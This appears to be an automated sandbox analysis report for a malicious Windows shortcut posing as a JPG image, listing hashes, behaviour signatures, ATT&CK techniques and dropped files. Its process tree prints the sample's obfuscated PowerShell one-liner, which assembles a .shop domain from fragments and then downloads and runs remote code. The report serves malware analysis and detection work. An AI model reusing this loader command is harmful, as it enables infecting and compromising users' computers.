4f9810451fe9200a53a99d16baab502c5406597a5ac60fbdaec63337ff1ea142

Analysis

max time kernel
298s
max time network
184s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/07/2026, 04:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260728_140856.jpg.lnk
Size 1KB
Sample260730-e7gsvabg75
SHA256 4f9810451fe9200a53a99d16baab502c5406597a5ac60fbdaec63337ff1ea142
MD5 1fd5576e798952a6da5f780654a4a1e4
SHA1 2736e23b0e6a826dda3ec1a38c3b590bdf25e343
SHA512 62673fb94bb4d9768051f76e8fc8bafe750c433902c6b485c53260fc2a18ae7c7d14e7aa6689f7423ddcca8198d436eee01d8069fcf7f02b0f19094f5ff1b817
TLSH
T14821CE251BF2033CD6BB8B755876A3118B22BA1EDA458FDF138082945964121F878F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	4592	powershell.exe
14	4592	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2364	cmd.exe

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4592	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2364 wrote to memory of 4592	2364	cmd.exe	88
PID 4592 wrote to memory of 3672	4592	powershell.exe	89
PID 3672 wrote to memory of 4392	3672	csc.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_140856.jpg.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('nsta','reservp','ynow','hotoi','.shop')[1,3,0,2,4] -join $ujNuEi) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4592
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5x2hlhzz\5x2hlhzz.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3672
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7F5C.tmp" "c:\Users\Admin\AppData\Local\Temp\5x2hlhzz\CSC601A6F819407465FBB926010DB81CAF.TMP"
      4⤵
      PID:4392

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

5x2hlhzz.dll

Path C:\Users\Admin\AppData\Local\Temp\5x2hlhzz\5x2hlhzz.dll
Size 3KB
SHA256 706b95b798d2e13bda1b7e4cb9897e87535ac242e2d880d790836ccf49b13296
MD5 8dacbbf070a58b97b894a0ef583b733b
SHA1 b0f61f8645330124d698df9362dfe9d15c6fe92f
SHA512 4d35c53ff4ae0c7ace78e51da761847b0b277be485ef2baa8b4e7c7034f1938017b62c6d8e64546c960217fdcc84df74b78d2328711b01c7e613f7a94822bd37
TLSH
T1E951B81AA3E8462BE4770734AEF3075337B4F8109FB253AD59C00228AC60B546E31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

RES7F5C.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES7F5C.tmp
Size 1KB
SHA256 4881e494fe438e2a77a2a0cf3e03c11ab09728b4f4516d65cd98ec2029ece098
MD5 f64e0dfac9d282cfd4752f093240de4b
SHA1 2602001aa4173a6d7066ed4284f82c5e3e1fc23b
SHA512 de9c7a99ab658cc51ad37575368242f97e17aa8b8d26667b85700b7305af5885515435c1b21c34e0415f3d758fe4422c83687922d66fe89b42110384371171f0
TLSH
T17621AB0587E94B0EF0779731BDF6032BA274FD65EFA2635E854042282C51604EFA1EB3
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_eme122gw.1wq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eme122gw.1wq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

5x2hlhzz.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\5x2hlhzz\5x2hlhzz.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

5x2hlhzz.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\5x2hlhzz\5x2hlhzz.cmdline
Size 369B
SHA256 66fb2c1a7d8d0e2ac0ec9f179269eb0efb91c686b7d75f4b79642cd7d8615a6d
MD5 a548dd18ed8fef9eddb1ba2de2ca4c44
SHA1 385c540b4b1e50cc0c8f4adcc011d33188fb303b
SHA512 7b9218f2a9032e59b5fdaa598c4fd483fc66cf08d0a28aba88abd9842ea1ab706ab8cf2f51f423e876787a8278ba01e2ee52c7e4f7be42ffdd337af80571d1c9
TLSH
T1ECE06F2AA346C2BD01ED124B227AC6BCC6720B8329D43FC896548C0DE0B70802BE2783
MD5 SHA1 SHA512 TLSH

Submit Download

CSC601A6F819407465FBB926010DB81CAF.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\5x2hlhzz\CSC601A6F819407465FBB926010DB81CAF.TMP
Size 652B
SHA256 623af74f9e1874793c4064ef745d89faca716462d52df8ebd7e9b4631e944c95
MD5 22c1991d79f0ccc230321749a6603e2b
SHA1 8102655cc4ce7d161d3a42dab7098dc185a26358
SHA512 c932e36448309fc253a511134c737e02030877a1dd9ab471c070ae1b30b56ee160eeee9f8af010c3ad74089f7e021dca329cc29513acdf0337068ba1fc35a356
TLSH
T100F0540963F8120EF0F34B30BDF543A3D168BC64DE3253ED1484031928645109A61FB1
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4592-4-0x0000028D23610000-0x0000028D23632000-memory.dmp

Download

memory/4592-3-0x0000028D3BA00000-0x0000028D3BA10000-memory.dmp

Download

memory/4592-2-0x0000028D3BA00000-0x0000028D3BA10000-memory.dmp

Download

memory/4592-24-0x0000028D3B9E0000-0x0000028D3B9E8000-memory.dmp

Download

memory/4592-25-0x0000028D3BA00000-0x0000028D3BA10000-memory.dmp

Download

memory/4592-26-0x0000028D3BA00000-0x0000028D3BA10000-memory.dmp

Download

memory/4592-27-0x0000028D3BA00000-0x0000028D3BA10000-memory.dmp

Download

memory/4592-28-0x0000028D3DA80000-0x0000028D3DC9C000-memory.dmp

Download

memory/4592-29-0x0000028D3BA00000-0x0000028D3BA10000-memory.dmp

Download